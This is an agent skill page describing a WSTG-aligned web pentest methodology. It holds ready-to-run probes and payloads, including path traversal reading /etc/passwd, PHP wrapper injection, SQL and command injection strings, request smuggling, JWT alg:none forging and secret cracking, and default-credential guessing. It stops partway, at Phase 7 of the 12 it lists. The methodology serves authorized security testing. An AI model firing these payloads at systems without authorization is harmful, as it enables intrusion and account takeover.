# Wstg Web Pentest

> Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.

- Skill: `uphiago/wstg-web-pentest` (Agent Skill)
- Install (CLI): `npx skillmds@latest add uphiago/wstg-web-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/wstg-web-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/wstg-web-pentest

---


# WSTG Web Application Pentest

Full OWASP WSTG-aligned testing methodology. Each phase maps to a WSTG
category and provides concrete commands, expected outputs, pitfalls, and
verification criteria.

The 12 phases:

```text
1.  Information Gathering           WSTG-INFO
2.  Configuration & Deployment       WSTG-CONF
3.  Identity Management              WSTG-IDNT
4.  Authentication                   WSTG-ATHN
5.  Authorization                    WSTG-ATHZ
6.  Session Management               WSTG-SESS
7.  Input Validation                 WSTG-INPV
8.  Error Handling                   WSTG-ERRH
9.  Weak Cryptography                WSTG-CRYP
10. Business Logic                   WSTG-BUSL
11. Client-side                      WSTG-CLNT
12. API Testing                      WSTG-APIT
```

Classify every observation:

| State | Meaning |
|---|---|
| Signal | Observation justifies follow-up |
| Exposed | Service or behavior reachable in tested context |
| Vulnerable | Security property failed under controlled test |
| Exploitable | Controlled test demonstrated concrete impact |

---

## When to Use

- Starting a web application pentest with a defined scope
- Auditing a web application against the OWASP testing standard
- Building a test plan from observed technology and behavior
- When the engagement requires methodology documentation
- Converting automated scanner output into validated findings

## Prerequisites

- In-scope domains, IPs, APIs, and test accounts
- Exclusions, rate limits, test windows, and abort conditions
- Permitted actions: passive, active read-only, intrusive, destructive
- Tools installed: `curl`, `subfinder`, `dnsx`, `httpx`, `katana`, `nuclei`,
  `nmap`, `ffuf`, `jq`, `python3`, `openssl`, `tlsx`, `wappalyzer` or `whatweb`
- Browser with intercepting proxy configured for authenticated testing
- Test accounts for two distinct identities (for authorization testing)

---

## How to Run

```bash
TARGET="example.com"
OUTPUT_DIR="${OUTPUT_DIR:-./output}/${TARGET}"
mkdir -p "$OUTPUT_DIR"/{assets,http,urls,evidence,reports}

# Run phases sequentially, stopping at scope boundaries:
# 1. INFO  -> 2. CONF -> 3. IDNT -> 4. ATHN -> 5. ATHZ ->
# 6. SESS -> 7. INPV -> 8. ERRH -> 9. CRYP -> 10. BUSL ->
# 11. CLNT -> 12. APIT -> Report
```

---

## Procedure

### Phase 1: Information Gathering (WSTG-INFO-01 through INFO-10)

Map the attack surface before testing.

#### 1.1 Search Engine Discovery (WSTG-INFO-01)

```bash
# Google dorks (manual in browser)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"

# GitHub code search
gh search code "example.com" --limit 100 2>/dev/null
```

**Pitfalls:** Search results include third-party references. Verify ownership
before treating a result as in-scope.

#### 1.2 Fingerprint Web Server (WSTG-INFO-02)

```bash
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'

whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null
```

**Expected output:** Server header, technology stack hints.

**Pitfalls:** Headers can be suppressed or spoofed by reverse proxies.
Cross-reference with response behavior and error pages.

**Verification:** At least two independent signals agree on the technology.

#### 1.3 Review Metafiles (WSTG-INFO-03)

```bash
for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  printf '%-30s %s\n' "$path" "$code"
done
```

**Pitfalls:** Disallowed paths in robots.txt are hints, not hidden secrets.
sitemap.xml sometimes lists admin or staging endpoints.

#### 1.4 Attack Surface Discovery (WSTG-INFO-04)

```bash
subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"

curl -sS --max-time 30 \
  "https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
  | jq -r '.[].name_value' 2>/dev/null \
  | sed 's/^\*\.//' | sort -u \
  >> "$OUTPUT_DIR/assets/hostnames.txt"

sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"
```

**Pitfalls:** Wildcard entries are patterns, not hosts. Third-party names
appear in SANs. Classify scope and ownership before probing.

#### 1.5 Resolve and Probe (WSTG-INFO-04 continued)

```bash
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
  -o "$OUTPUT_DIR/assets/dns.jsonl"

httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
  -silent -rate-limit 2 \
  -status-code -title -tech-detect -server -ip -cname -json \
  -o "$OUTPUT_DIR/http/services.jsonl"

# Live URLs only
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
  > "$OUTPUT_DIR/http/live-urls.txt"
```

#### 1.6 Review Page Content (WSTG-INFO-05)

```bash
while IFS= read -r url; do
  curl -sS --max-time 10 "$url" 2>/dev/null \
    | grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'''<>&]+' \
    | head -5
  sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"
```

**Pitfalls:** Comments, inline scripts, and HTML data attributes frequently
contain false leads. Confirm in context before reporting.

#### 1.7 Identify Entry Points (WSTG-INFO-06)

```bash
katana -list "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -jc -c 2 -p 2 -rl 2 \
  -o "$OUTPUT_DIR/urls/katana.txt"

# Historical URLs
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"

# Merge and classify
cat "$OUTPUT_DIR/urls/katana.txt" \
    "$OUTPUT_DIR/urls/wayback.txt" \
    "$OUTPUT_DIR/urls/gau.txt" \
  | sort -u > "$OUTPUT_DIR/urls/all.txt"

grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"

grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"

grep -iE '\.js(\?.*)?$' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"

grep -E '[?&][a-zA-Z0-9_.-]+=' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"
```

#### 1.8 Fingerprint Framework (WSTG-INFO-08)

```bash
httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -tech-detect -json \
  | jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
  > "$OUTPUT_DIR/http/frameworks.tsv"
```

**Verification:** Confirm framework fingerprint with at least two signals: a
header, a cookie name (e.g. `laravel_session`, `JSESSIONID`), a path pattern
(`/wp-content/`, `/_next/`), or a unique error page.

#### 1.9 Map Application Architecture (WSTG-INFO-10)

```bash
# TLS inspection
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
  -o "$OUTPUT_DIR/assets/tls.jsonl"

# Port scan (when in-scope IPs are provided)
nmap -sT --top-ports 100 --open -T3 \
  -oA "$OUTPUT_DIR/assets/nmap-top100" \
  -iL in-scope-ips.txt 2>/dev/null
```

**Pitfalls:** Port scanning is active and detectable. Run only on in-scope IPs
and with conservative timing.

---

### Phase 2: Configuration and Deployment (WSTG-CONF-01 through CONF-14)

Test infrastructure and platform configuration.

#### 2.1 Network Infrastructure (WSTG-CONF-01)

```bash
# Check for common admin panels
for path in admin administrator admin.php admin.aspx console manager \
  phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
  sleep 1
done
```

#### 2.2 Application Platform Configuration (WSTG-CONF-02)

```bash
# Common config files
for path in .env .env.local .env.production .env.development \
  config.json config.yml config.yaml settings.py wp-config.php \
  web.config .htaccess Dockerfile docker-compose.yml; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
  sleep 1
done
```

**Pitfalls:** A 200 response with a generic shell or redirect is not a config
leak. Always inspect the body.

**Verification:** Body contains configuration keys, database credentials,
API keys, or environment variables.

#### 2.3 File Extensions (WSTG-CONF-03)

```bash
# Check how the server handles backup and alternate extensions
for ext in bak old backup orig save swp tmp ~; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/index.html.${ext}" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
  sleep 1
done
```

#### 2.4 Backup and Unreferenced Files (WSTG-CONF-04)

```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
  -u "https://${TARGET}/FUZZ" \
  -e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
  -mc 200,301,302,403 \
  -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null
```

**Pitfalls:** Archive files from public sources (GitHub releases, CDN) are
not leaks. Confirm the file contains source or configuration before reporting.

#### 2.5 Admin Interfaces (WSTG-CONF-05)

```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
  -u "https://${TARGET}/FUZZ" \
  -mc 200,301,302,403 -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null
```

#### 2.6 HTTP Methods (WSTG-CONF-06)

```bash
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X "$method" "https://${TARGET}/" 2>/dev/null)
  printf '%-8s %s\n' "$method" "$code"
  sleep 1
done

# OPTIONS response often lists allowed methods
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
  | grep -i 'allow:'
```

**Pitfalls:** TRACE is informational unless combined with cookie-bearing
requests. PUT without authentication is high.

#### 2.7 HSTS (WSTG-CONF-07)

```bash
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'strict-transport-security'
```

**Verification:** Header present with `max-age` >= 31536000 and `includeSubDomains`.

#### 2.10 Subdomain Takeover (WSTG-CONF-10)

```bash
# Check CNAMEs pointing to unclaimed services
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
  | jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
  > "$OUTPUT_DIR/assets/cnames.txt"

subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null
```

**Verification:** Confirmed dangling CNAME record on a service that allows
re-registration of the target hostname.

#### 2.11 Cloud Storage (WSTG-CONF-11)

```bash
# S3 buckets named after the target
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
  "cdn.${TARGET}" "assets.${TARGET}"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${bucket}.s3.amazonaws.com" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done
```

#### 2.12 Content Security Policy (WSTG-CONF-12)

```bash
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'content-security-policy'
```

**Verification:** CSP present, does not contain `unsafe-inline` or
`unsafe-eval` without a nonce or hash, restricts `script-src` and `object-src`.

#### 2.13 Path Confusion (WSTG-CONF-13)

```bash
# Check how path traversal and encoding are handled
for path in "%2e%2e/%2e%2e/etc/passwd" \
  "..;/..;/etc/passwd" \
  "/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  echo "$path: $code"
  sleep 1
done
```

#### 2.14 Security Headers (WSTG-CONF-14)

```bash
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'
```

**Verification:** X-Frame-Options `DENY` or `SAMEORIGIN`; X-Content-Type-Options
`nosniff`; Referrer-Policy restricts referrer; Permissions-Policy restricts
sensitive APIs.

---

### Phase 3: Identity Management (WSTG-IDNT-01 through IDNT-05)

Test user registration, provisioning, and enumeration.

#### 3.1 Role Definitions (WSTG-IDNT-01)

Document every role from captured traffic, API responses, and observed UI.
For each role, record accessible routes and operations.

#### 3.2 User Registration (WSTG-IDNT-02)

```bash
# Test registration with invalid inputs
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
  2>/dev/null | head -20
```

**Tests by identity:**

| Test | What to observe |
|---|---|
| Duplicate registration | Error message reveals existing user? |
| Weak password | Accepted without complexity requirements? |
| Automated registration | CAPTCHA or rate limit present? |
| Email verification bypass | Can you use the account before verification? |

#### 3.4 Account Enumeration (WSTG-IDNT-04)

```bash
# Login timing analysis
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1

time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1

# Password reset enumeration
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null

curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null
```

**Pitfalls:** Timing differences under 200ms are rarely reliable. Status code
and response body differences are stronger signals.

**Verification:** Consistent, reproducible difference between existing and
non-existing accounts across multiple test runs.

**Pitfalls:** Do not enumerate production accounts. Use synthetic test accounts
to confirm the mechanism exists, then stop.

---

### Phase 4: Authentication (WSTG-ATHN-01 through ATHN-11)

Test the full authentication flow.

#### 4.1 Credentials over Encrypted Channel (WSTG-ATHN-01)

```bash
# Check login form action
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
  | grep -oPi 'action=["\x27][^"\x27]*["\x27]'

# Check that login POST uses HTTPS
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
  -o /dev/null -w '%{redirect_url}\n' 2>/dev/null
```

**Verification:** Login form submits over HTTPS. HTTP version redirects to HTTPS
before accepting credentials.

#### 4.2 Default Credentials (WSTG-ATHN-02)

```bash
# Test common defaults (only on test accounts or after confirming scope allows)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
  "administrator:administrator" "root:root" "user:user" \
  "test:test" "guest:guest"; do
  IFS=':' read -r user pass <<< "$creds"
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
  sleep 2
done
```

**Pitfalls:** This generates authentication failures. Rate limits may apply.
Do not lock out accounts.

#### 4.3 Weak Lockout (WSTG-ATHN-03)

**Do not test against production accounts.** Use a dedicated test account.

```bash
for i in $(seq 1 10); do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X POST "https://${TARGET}/login" \
    -d "username=test-lockout&password=wrong$i" 2>/dev/null)
  echo "Attempt $i: $code"
  sleep 1
done
# Try the correct password afterward
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
  -X POST "https://${TARGET}/login" \
  -d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"
```

**Verification:** Account locks after N consecutive failures (typically 3-10).
Lockout applies even with the correct password.

#### 4.4 Bypass Authentication Schema (WSTG-ATHN-04)

```bash
# Direct page access — request protected pages without a session
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}${url}" 2>/dev/null)
  echo "$url: $code"
  sleep 1
done

# Parameter modification — test if role/privilege parameters bypass auth
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
```

#### 4.7 Weak Authentication Methods (WSTG-ATHN-07)

Document the authentication flow:
- Basic auth over HTTPS? (acceptable if no better option)
- Form-based with CSRF token? (minimum)
- MFA? (required for sensitive operations)
- Password policy? (minimum length, complexity)
- Account recovery flow? (email-based, security questions)

#### 4.9 Password Reset (WSTG-ATHN-09)

```bash
# Check if token appears in URL / Referer / response
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null

# Test token predictability (only on test accounts)
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
# Request reset with each token variant
```

**Verification:** Token is high-entropy, single-use, time-limited, and
delivered over a separate channel.

#### 4.11 Multi-Factor Authentication (WSTG-ATHN-11)

```bash
# Check if MFA can be skipped by requesting post-MFA URLs directly
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
  -H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'

# Check OTP rate limiting (use test account)
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
    -H 'Content-Type: application/json' \
    -d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
  sleep 1
done; echo
```

---

### Phase 5: Authorization (WSTG-ATHZ-01 through ATHZ-05)

Requires at least two test identities.

#### 5.1 Directory Traversal / File Include (WSTG-ATHZ-01)

```bash
# LFI candidates
for payload in \
  "../../../etc/passwd" \
  "....//....//....//etc/passwd" \
  "..%252f..%252f..%252fetc/passwd" \
  "/etc/passwd" \
  "file:///etc/passwd" \
  "php://filter/convert.base64-encode/resource=index" \
  "....//....//....//....//windows/win.ini"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/?page=${payload}" 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done
```

**Verification:** Response contains `/etc/passwd` content, source code, or
OS-specific file content confirmed by content signature (not just 200).

#### 5.2 Bypass Authorization Schema (WSTG-ATHZ-02)

With two test identities (User A and User B):

```bash
# User A accesses User B's resources
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
```

#### 5.3 Privilege Escalation (WSTG-ATHZ-03)

```bash
# Test if lower-privilege user can access admin endpoints
for path in /admin /admin/users /api/admin /manage /settings/admin; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
    -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$path: $code"
  sleep 1
done

# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"role":"admin"}' 2>/dev/null
```

#### 5.4 Insecure Direct Object References (WSTG-ATHZ-04)

```bash
# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
  ID=$((BASE_ID + i))
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -sS -o /dev/null -w '%{http_code}' 2>/dev/null)
  body_len=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
  echo "ID $ID: $code ($body_len bytes)"
  sleep 1
done
```

**Verification:** User A receives data from an object belonging to User B,
confirmed by comparing content, owner fields, or tenant identifiers. Need
both identities for proof.

#### 5.5 OAuth Weaknesses (WSTG-ATHZ-05)

```bash
# Check OAuth redirect_uri validation
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
  -o /dev/null -w '%{http_code} %{redirect_url}\n'

# Test state parameter
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
  -o /dev/null -w '%{redirect_url}\n'
```

---

### Phase 6: Session Management (WSTG-SESS-01 through SESS-11)

#### 6.1 Session Schema (WSTG-SESS-01)

```bash
# Capture session cookies after login
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"TEST_USER","password":"TEST_PASS"}' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'
```

**Tests:**

| Test | What to check |
|---|---|
| Token entropy | Length >= 128 bits; use `ent` or manual inspection |
| Token regeneration | New value after login? |
| Token on logout | Invalidated server-side after logout? |
| Token on password change | Invalidated after password change? |
| Concurrent sessions | Multiple simultaneous sessions allowed? |

#### 6.2 Cookie Attributes (WSTG-SESS-02)

```bash
# Check all Set-Cookie attributes on every response
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'set-cookie' \
  | while read -r line; do
    echo "$line" | grep -qi 'secure' || echo "  [!] Missing Secure"
    echo "$line" | grep -qi 'httponly' || echo "  [!] Missing HttpOnly"
    echo "$line" | grep -qi 'samesite' || echo "  [!] Missing SameSite"
    echo "---"
  done
```

**Verification:** Session cookies have Secure, HttpOnly, and SameSite=Lax or
Strict. __Host- prefix used when scope is path-bound.

#### 6.3 Session Fixation (WSTG-SESS-03)

```bash
# Get a pre-authentication session cookie
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
  -o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

# Use that cookie to authenticate
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H "Cookie: $SESSION" \
  -d 'username=TEST_USER&password=TEST_PASS' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'

# Check if the post-login cookie differs from the pre-login one
```

**Verification:** The server issues a new session identifier after
authentication, not reusing the pre-authentication value.

#### 6.5 Cross-Site Request Forgery (WSTG-SESS-05)

```bash
# Check for CSRF tokens on state-changing forms
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
  | grep -iP 'csrf|_token|nonce|xsrf'

# Test if same-origin bypass works (no token, different method, custom header)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session=VALID_SESSION' \
  -d '{"email":"test@example.com"}' \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null
```

**Pitfalls:** SameSite=Lax cookies do not protect against GET-based CSRF.
Custom headers (X-Requested-With) only block simple cross-origin requests.

#### 6.6 Logout (WSTG-SESS-06)

```bash
# Capture session, logout, try reusing session
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
  | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'

sleep 2

curl -sS --max-time 10 "https://${TARGET}/settings" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
```

**Verification:** Session is invalidated after logout (returns 302 or 401, not
200 with authenticated content).

#### 6.7 Session Timeout (WSTG-SESS-07)

Document the idle timeout and absolute timeout. Check if "remember me" extends
the absolute timeout.

#### 6.10 JWT Testing (WSTG-SESS-10)

```bash
# Decode a JWT without verification
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'

# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null
```

**Pitfalls:** JWT decoding is not a finding. The finding is: the server accepts
alg:none, accepts a symmetric key when RS256/ES256 is expected, or uses a
guessable secret.

---

### Phase 7: Input Validation (WSTG-INPV-01 through INPV-22)

#### 7.1 Reflected XSS (WSTG-INPV-01)

```bash
# Test every parameter with a benign probe first
for param in q search query id page name email message comment; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/search?${param}=<xss%20id=xss>" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$param: $code"
  sleep 1
done

# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
  | grep -o 'xssreflectiontest'
```

**Pitfalls:** WAF may block obvious probes. Start with unique benign strings
and check reflection before moving to payloads. An encoded reflection in an
attribute context requires a different payload than a raw HTML context.

#### 7.2 Stored XSS (WSTG-INPV-02)

Test every input that persists: comments, profiles, messages, support tickets.
Verify in a second session (different browser/incognito) that the stored
payload renders for another user.

#### 7.3 HTTP Verb Tampering (WSTG-INPV-03)

```bash
# Try bypassing restrictions by changing the HTTP method
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
  code=$(curl -sS --max-time 10 -X "$method" \
    "https://${TARGET}/api/admin/users" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$method: $code"
  sleep 1
done
```

#### 7.5 SQL Injection (WSTG-INPV-05)

```bash
# Detect with benign probes first
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/product?id=${payload}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done

# Time-based blind test
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/product?id=1%3B${db}%3B--" \
    -o /dev/null 2>/dev/null
  sleep 1
done
```

**Pitfalls:** Time-based tests are noisy. A 5-second delay in a fast response
is a strong signal; a 200ms variance is not. Error-based tests require
understanding the DBMS error format.

**Verification:** Confirmed data extraction (database names, table names,
row counts) through error-based, union-based, or blind channels. A single
error message is a lead, not a finding.

#### 7.11 Code Injection / File Inclusion (WSTG-INPV-11)

```bash
# Test for PHP wrappers
for wrapper in \
  "php://filter/convert.base64-encode/resource=index.php" \
  "php://filter/convert.base64-encode/resource=../../etc/passwd" \
  "expect://id" \
  "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/?page=${wrapper}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$wrapper: $code"
  sleep 1
done
```

#### 7.12 Command Injection (WSTG-INPV-12)

```bash
# Test with time-based commands
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
  "\$(sleep+5)" "|+sleep+5"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/ping?host=127.0.0.1${cmd}" \
    -o /dev/null 2>/dev/null
  sleep 1
done
```

**Pitfalls:** Do not test destructive commands (`rm`, `shutdown`, `wget`).
Use time-based or OOB (Collaborator) detection for blind cases.

#### 7.16 HTTP Request Smuggling (WSTG-INPV-16)

```bash
# CL.TE probe
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
  | nc -w 5 "$TARGET" 80

# H2.CL probe — requires HTTP/2 capable client
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'
```

#### 7.17 Host Header Injection (WSTG-INPV-17)

```bash
curl -sS --max-time 10 "https://${TARGET}/" \
  -H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/" \
  -H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
```

**Verification:** Host header is reflected in password reset links, absolute
URLs in response bodies, or redirects. Reflection in a header alone is not
exploitable.

#### 7.18 SSTI (WSTG-INPV-18)

```bash
# Template engine detection probes — run these against every reflected parameter
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*'7'}}' \
  '${{7*7}}' '@(7*7)'; do
  resp=$(curl -sS --max-time 10 \
    "https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
    2>/dev/null)
  echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
  sleep 1
done
```

